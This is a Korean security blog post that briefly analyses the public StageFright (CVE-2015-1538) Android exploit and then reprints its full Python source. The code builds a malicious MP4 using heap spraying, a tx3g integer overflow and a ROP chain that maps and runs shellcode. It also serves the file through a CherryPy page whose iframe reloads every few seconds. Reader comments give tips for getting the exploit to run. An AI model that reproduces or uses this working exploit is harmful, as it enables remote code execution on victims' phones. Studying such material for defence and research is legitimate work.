| | at : |


Archive

[EXPLOIT] StageFright Exploit Code 분석(StageFrigt Exploit Analysis) 하훌 rwxr-xr-x 9 9/18/2015



[EXPLOIT] StageFright Exploit Code 분석(StageFrigt Exploit Analysis)

Permission rw-r--r--
Author 하훌
Date and Time 9/18/2015
Label
License 크리에이티브 커먼즈 라이선스


StageFright Vulnerability

최근 안드로이드쪽에서 핫 이슈였던 StageFright 취약점에 대해 기억하시나요?
멀티미디어를 로드하는 스테이지프라이트 구간에 취약점으로 인해 미디어를 전송하는 MMS로
사용자의 핸드폰을 감염시킬 수 있는 취약점이였습니다. MMS 이외에도 미디어를 로드하는 구간에서 다수 발생할 수 있는 취약점이였었죠.. 나름 크게 이슈가 있던 취약점이라 따로 포스팅도 했었습니다. 보시면 대충 어떤 취약점이구나.. 라고 알 수 있습니다.

문자만 받아도 해킹, Stagefright(스테이지프라이트) - 안드로이드 MMS취약점(멀티미디어 로드) / 안드로이드 95% 취약 (http://www.www.hahwul.com/2015/08/stagefright-mms-95.html)

아무튼 이 취약점이 최근에 Google Security 팀으로부터 공격코드가 공개되었다고 하고 9/17일자로 Exploit-db에
EDB-ID 38226 으로 공격코드가 등록되었습니다.

Exploit-db Link : https://www.exploit-db.com/exploits/38226/

해당 Exploit code 에 대해 간단하게 분석해보도록 하겠습니다.



일단 code의 정상적인 실행을 위해서는 python package 설치가 필요합니다. (pwntools, cherrypy)
pip를 통해 설치해줍니다.

# pip install pwntools
# pip install cherrypy

실행과 동시에 Main 부분부터 천천히 살펴볼까합니다. 크게 4가지 동작부분으로 구분하여 볼 수 있습니다.

1. shellcode.bin 파일을 load 하여 tmp 변수 삽입(exploit code 에 추가하기 위한 사전 작업)


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

2. exploit.mp4 파일을 write 권한으로 생성 / Exploit_Server(), Cherrypy를 통해 mp4 파일을 서버에 게시


def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.quickstart(ExploitServer())

3. exploit_mp4()에서 실제 공격코드를 통해 Exploit 이 담긴 mp4 생성


def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))
  trak = ''
  trak += sample_table(heap_spray(spray_size) * spray_count)
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)
  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)
 ...snip...
힙스프레이를 위해 overflow 변수에 A로 채워나가고 스프레이 포인터주소를 넣고 0으로 채우는 등의 코드를 통해
악성파일을 생성합니다. 공격코드의 가장 핵심부분이 되겠죠. (아래 원문코드에서 주석보시면 편해요)

4. Cherrypy 를 통해[Exploit_Server class] 공격 mp4 파일을 임시 서버에 업로드


class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file
Cherrypy 모듈을 통해 Exploit_Server Class를 읽어와 video/mp4 의 content-type으로 제공합니다.
일반 웹서버 기능과 유사하지요, 저 부분을 제외하고 생성된 mp4 파일을 가지고 바로 웹 서버에 올리거나,
MMS를 통해 전송하여 공격에 시도할 수 있겠네요.

더 원리적인 분석을 하고싶으나.. 시간이 많이 없네요...
공격코드 전문은 Exploit-db 공식 홈페이지 및 아래 코드로 확인할 수 있습니다.

공격코드 전문(Attack Code full ver. - exploit-db#38226)

StageFright Exploit Code - [Python]

# cat stagefright.py
#!/usr/bin/python2

import cherrypy
import os
import pwnlib.asm as asm
import pwnlib.elf as elf
import sys
import struct


with open('shellcode.bin', 'rb') as tmp:
  shellcode = tmp.read()

while len(shellcode) % 4 != 0:
  shellcode += '\x00'

# heap grooming configuration
alloc_size = 0x20
groom_count = 0x4
spray_size = 0x100000
spray_count = 0x10

# address of the buffer we allocate for our shellcode
mmap_address = 0x90000000

# addresses that we need to predict
libc_base = 0xb6ebd000
spray_address = 0xb3000000

# ROP gadget addresses
stack_pivot = None
pop_pc = None
pop_r0_r1_r2_r3_pc = None
pop_r4_r5_r6_r7_pc = None
ldr_lr_bx_lr = None
ldr_lr_bx_lr_stack_pad = 0
mmap64 = None
memcpy = None

def find_arm_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='arm')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 4 == 0:
      gadget_address = address
      if gadget_bytes == e.read(gadget_address, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address, arch='arm')
        break
  return gadget_address

def find_thumb_gadget(e, gadget):
  gadget_bytes = asm.asm(gadget, arch='thumb')
  gadget_address = None
  for address in e.search(gadget_bytes):
    if address % 2 == 0:
      gadget_address = address + 1
      if gadget_bytes == e.read(gadget_address - 1, len(gadget_bytes)):
        print asm.disasm(gadget_bytes, vma=gadget_address-1, arch='thumb')
        break
  return gadget_address
  
def find_gadget(e, gadget):
  gadget_address = find_thumb_gadget(e, gadget)
  if gadget_address is not None:
    return gadget_address
  return find_arm_gadget(e, gadget)

def find_rop_gadgets(path):
  global memcpy
  global mmap64
  global stack_pivot
  global pop_pc
  global pop_r0_r1_r2_r3_pc
  global pop_r4_r5_r6_r7_pc
  global ldr_lr_bx_lr
  global ldr_lr_bx_lr_stack_pad

  e = elf.ELF(path)
  e.address = libc_base

  memcpy = e.symbols['memcpy']
  print '[*] memcpy : 0x{:08x}'.format(memcpy)
  mmap64 = e.symbols['mmap64']
  print '[*] mmap64 : 0x{:08x}'.format(mmap64)

  # .text:00013344    ADD             R2, R0, #0x4C
  # .text:00013348    LDMIA           R2, {R4-LR}
  # .text:0001334C    TEQ             SP, #0
  # .text:00013350    TEQNE           LR, #0
  # .text:00013354    BEQ             botch_0
  # .text:00013358    MOV             R0, R1
  # .text:0001335C    TEQ             R0, #0
  # .text:00013360    MOVEQ           R0, #1
  # .text:00013364    BX              LR

  pivot_asm = ''
  pivot_asm += 'add   r2, r0, #0x4c\n'
  pivot_asm += 'ldmia r2, {r4 - lr}\n'
  pivot_asm += 'teq   sp, #0\n'
  pivot_asm += 'teqne lr, #0'
  stack_pivot = find_arm_gadget(e, pivot_asm)
  print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)

  pop_pc_asm = 'pop {pc}'
  pop_pc = find_gadget(e, pop_pc_asm)
  print '[*] pop_pc : 0x{:08x}'.format(pop_pc)

  pop_r0_r1_r2_r3_pc = find_gadget(e, 'pop {r0, r1, r2, r3, pc}')
  print '[*] pop_r0_r1_r2_r3_pc : 0x{:08x}'.format(pop_r0_r1_r2_r3_pc)

  pop_r4_r5_r6_r7_pc = find_gadget(e, 'pop {r4, r5, r6, r7, pc}')
  print '[*] pop_r4_r5_r6_r7_pc : 0x{:08x}'.format(pop_r4_r5_r6_r7_pc)

  ldr_lr_bx_lr_stack_pad = 0
  for i in range(0, 0x100, 4):
    ldr_lr_bx_lr_asm =  'ldr lr, [sp, #0x{:08x}]\n'.format(i)
    ldr_lr_bx_lr_asm += 'add sp, sp, #0x{:08x}\n'.format(i + 8)
    ldr_lr_bx_lr_asm += 'bx  lr'
    ldr_lr_bx_lr = find_gadget(e, ldr_lr_bx_lr_asm)
    if ldr_lr_bx_lr is not None:
      ldr_lr_bx_lr_stack_pad = i
      break
  
def pad(size):
  return '#' * size

def pb32(val):
  return struct.pack(">I", val)

def pb64(val):
  return struct.pack(">Q", val)

def p32(val):
  return struct.pack("<I", val)

def p64(val):
  return struct.pack("<Q", val)

def chunk(tag, data, length=0):
  if length == 0:
    length = len(data) + 8
  if length > 0xffffffff:
    return pb32(1) + tag + pb64(length)+ data
  return pb32(length) + tag + data

def alloc_avcc(size):
  avcc = 'A' * size
  return chunk('avcC', avcc)

def alloc_hvcc(size):
  hvcc = 'H' * size
  return chunk('hvcC', hvcc)

def sample_table(data):
  stbl = ''
  stbl += chunk('stco', '\x00' * 8)
  stbl += chunk('stsc', '\x00' * 8)
  stbl += chunk('stsz', '\x00' * 12)
  stbl += chunk('stts', '\x00' * 8)
  stbl += data
  return chunk('stbl', stbl)

def memory_leak(size):
  pssh = 'leak'
  pssh += 'L' * 16
  pssh += pb32(size)
  pssh += 'L' * size
  return chunk('pssh', pssh)

def heap_spray(size):
  pssh = 'spry'
  pssh += 'S' * 16
  pssh += pb32(size)

  page = ''

  nop = asm.asm('nop', arch='thumb')
  while len(page) < 0x100:
    page += nop
  page += shellcode
  while len(page) < 0xed0:
    page += '\xcc'

  # MPEG4DataSource fake vtable
  page += p32(stack_pivot)

  # pivot swaps stack then returns to pop {pc}
  page += p32(pop_r0_r1_r2_r3_pc)

  # mmap64(mmap_address,
  #        0x1000,
  #        PROT_READ | PROT_WRITE | PROT_EXECUTE,
  #        MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS,
  #        -1,
  #        0);

  page += p32(mmap_address)             # r0 = address
  page += p32(0x1000)                   # r1 = size
  page += p32(7)                        # r2 = protection
  page += p32(0x32)                     # r3 = flags
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap64)                   # pc

  page += p32(0xffffffff)               # fd      (and then r4)
  page += pad(4)                        # padding (and then r5)
  page += p64(0)                        # offset  (and then r6, r7)
  page += p32(pop_r0_r1_r2_r3_pc)       # pc

  # memcpy(shellcode_address,
  #        spray_address + len(rop_stack),
  #        len(shellcode));

  page += p32(mmap_address)             # r0 = dst
  page += p32(spray_address - 0xed0)    # r1 = src
  page += p32(0xed0)                    # r2 = size
  page += p32(0x33333333)               # r3
  page += p32(ldr_lr_bx_lr)             # pc

  page += pad(ldr_lr_bx_lr_stack_pad)
  page += p32(pop_r4_r5_r6_r7_pc)       # lr
  page += pad(4)

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(memcpy)                   # pc

  page += p32(0x44444444)               # r4
  page += p32(0x55555555)               # r5
  page += p32(0x66666666)               # r6
  page += p32(0x77777777)               # r7
  page += p32(mmap_address + 1)         # pc

  while len(page) < 0x1000:
    page += '#'

  pssh += page * (size // 0x1000)

  return chunk('pssh', pssh)

def exploit_mp4():
  ftyp = chunk("ftyp","69736f6d0000000169736f6d".decode("hex"))

  trak = ''

  # heap spray so we have somewhere to land our corrupted vtable
  # pointer

  # yes, we wrap this in a sample_table for a reason; the
  # NuCachedSource we will be using otherwise triggers calls to mmap,
  # leaving our large allocations non-contiguous and making our chance
  # of failure pretty high. wrapping in a sample_table means that we
  # wrap the NuCachedSource with an MPEG4Source, making a single
  # allocation that caches all the data, doubling our heap spray
  # effectiveness :-)
  trak += sample_table(heap_spray(spray_size) * spray_count)

  # heap groom for our MPEG4DataSource corruption

  # get the default size allocations for our MetaData::typed_data
  # groom allocations out of the way first, by allocating small blocks
  # instead.
  trak += alloc_avcc(8)
  trak += alloc_hvcc(8)

  # we allocate the initial tx3g chunk here; we'll use the integer
  # overflow so that the allocated buffer later is smaller than the
  # original size of this chunk, then overflow all of the following
  # MPEG4DataSource object and the following pssh allocation; hence why
  # we will need the extra groom allocation (so we don't overwrite
  # anything sensitive...)

  # | tx3g | MPEG4DataSource | pssh |
  overflow = 'A' * 24

  # | tx3g ----------------> | pssh |
  overflow += p32(spray_address)         # MPEG4DataSource vtable ptr
  overflow += '0' * 0x48
  overflow += '0000'                    # r4
  overflow += '0000'                    # r5
  overflow += '0000'                    # r6
  overflow += '0000'                    # r7
  overflow += '0000'                    # r8
  overflow += '0000'                    # r9
  overflow += '0000'                    # r10
  overflow += '0000'                    # r11
  overflow += '0000'                    # r12
  overflow += p32(spray_address + 0x20) # sp
  overflow += p32(pop_pc)               # lr

  trak += chunk("tx3g", overflow)

  # defragment the for alloc_size blocks, then make our two
  # allocations. we end up with a spurious block in the middle, from
  # the temporary ABuffer deallocation.

  # | pssh | - | pssh |
  trak += memory_leak(alloc_size) * groom_count

  # | pssh | - | pssh | .... | avcC |
  trak += alloc_avcc(alloc_size)

  # | pssh | - | pssh | .... | avcC | hvcC |
  trak += alloc_hvcc(alloc_size)

  # | pssh | - | pssh | pssh | avcC | hvcC | pssh |
  trak += memory_leak(alloc_size) * 8

  # | pssh | - | pssh | pssh | avcC | .... |
  trak += alloc_hvcc(alloc_size * 2)

  # entering the stbl chunk triggers allocation of an MPEG4DataSource
  # object

  # | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |
  stbl = ''

  # | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |
  stbl += alloc_avcc(alloc_size * 2)

  # | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |
  # | pssh | - | pssh | pssh | tx3g ----------------> |
  overflow_length = (-(len(overflow) - 24) & 0xffffffffffffffff)
  stbl += chunk("tx3g", '', length = overflow_length)

  trak += chunk('stbl', stbl)

  return ftyp + chunk('trak', trak)

index_page = '''
<!DOCTYPE html>
<html>
  <head>
    <title>Stagefrightened!</title>
  </head>
  <body>
    <script>
    window.setTimeout('location.reload(true);', 4000);
    </script>
    <iframe src='/exploit.mp4'></iframe>
  </body>
</html>
'''

class ExploitServer(object):

  exploit_file = None
  exploit_count = 0

  @cherrypy.expose
  def index(self):
    self.exploit_count += 1
    print '*' * 80
    print 'exploit attempt: ' + str(self.exploit_count)
    print '*' * 80
    return index_page

  @cherrypy.expose(["exploit.mp4"])
  def exploit(self):
    cherrypy.response.headers['Content-Type'] = 'video/mp4'
    cherrypy.response.headers['Content-Encoding'] = 'gzip'

    if self.exploit_file is None:
      exploit_uncompressed = exploit_mp4()
      with open('exploit_uncompressed.mp4', 'wb') as tmp:
        tmp.write(exploit_uncompressed)
      os.system('gzip exploit_uncompressed.mp4')
      with open('exploit_uncompressed.mp4.gz', 'rb') as tmp:
        self.exploit_file = tmp.read()
      os.system('rm exploit_uncompressed.mp4.gz')

    return self.exploit_file

def main():
  find_rop_gadgets('libc.so')
  with open('exploit.mp4', 'wb') as tmp:
    tmp.write(exploit_mp4())
  cherrypy.quickstart(ExploitServer())

if __name__ == '__main__':
  main()


Share







HAHWUL
HACKING | PENETRATION-TEST | CODING
HACKERONE : GIT : 0DAY-TODAY : EXPLOIT-DB : PACKETSTORM
GOOGLE+ | HAHWUL@GMAIL.COM | TWITTER
WWW.HAHWUL.COM






Recent Post

댓글 9개:

  1. 올려주시는 글들 정말 잘 보고 있습니다.
    지금 올려주신 이 게시물을 보고 분석하면서 튜토리얼을 진행하여보았는데
    역시나 시연이 없어서.. 너무 힘드네요.
    벌써 10댓시간째 삽질중인 듯 싶습니다.

    소스 실행하면 shellcode.bin 을 찾을수 없다고 나와버리는데,
    소스를 보니까 shellcode를 오픈하게끔 되어있는거같네요.
    어떻게 해야 할까요?

    답글삭제
  2. shell.bin 파일을 읽어오지 못해서 예외처리로 넘어간듯하네요.
    동일 디렉토리 내 shell code를 담은 shell.bin 파일을 넣어주시면 됩니다.

    코드보시면


    with open('shellcode.bin', 'rb') as tmp:
    shellcode = tmp.read()

    while len(shellcode) % 4 != 0:
    shellcode += '\x00'

    부분이 있는데, open으로 shellcode.bin 파일을 열고 그 내용을 tmp에 저장 후 tmp의 값을 읽어 shellcode 변수에 값을 넣어줍니다.
    실행 시 shellcode.bin이 없다고 나오는건, 해당 파일이 없어 발생하는것으로 보이는데, 혹시 해결안되는 부분이 있다면 댓글 남겨주세요.
    제가 했던 내용에 추가로 더 알아보고 답변드리겠습니다.

    그리고 영상으로는 조만간.. 추가해볼게요.(바빠서 시간내기가 힘드네요 ㅜㅜ)

    아 참 짐페리엄이 추가로 공격코드를 공유했는데, 이부분도 참고하시면 좋을듯하네요.
    https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/
    https://raw.githubusercontent.com/jduck/cve-2015-1538-1/master/Stagefright_CVE-2015-1538-1_Exploit.py

    감사합니다. : )

    답글삭제
  3. binutils 관련 에러 해결법
    #> apt-get install binutils binutils-arm*

    답글삭제
  4. File "stagefright.py", line 102, in find_rop_gadgets
    print '[*] stack_pivot : 0x{:08x}'.format(stack_pivot)
    ValueError: Unknown format code 'x' for object of type 'str'

    에러 임시 처리법
    + stagefright.py 내 102번줄 주석 처리(에러 발생부분 > print 구문)

    답글삭제
  5. # EDB에 관련 자료가 올라와서 공유.
    https://www.exploit-db.com/docs/39527.pdf

    답글삭제
  6. 미드 Mr.Robot 을 보다가 stagefright 얘기가 나와서 오래간만에 관련 구글링하는데~!!!!!
    noon님(ㅋㅋㅋ) 블로그가 최상단에!!!
    i just wanna say hi ^^
    조만간 연락하고 놀러갈께요~ ㅎㅎㅎㅎㅎㅎㅎㅎ

    답글삭제
    답글
    1. noon 오랜만에 듣네요ㅋㅋ 치킨 고고

      삭제
  7. 작성자가 댓글을 삭제했습니다.

    답글삭제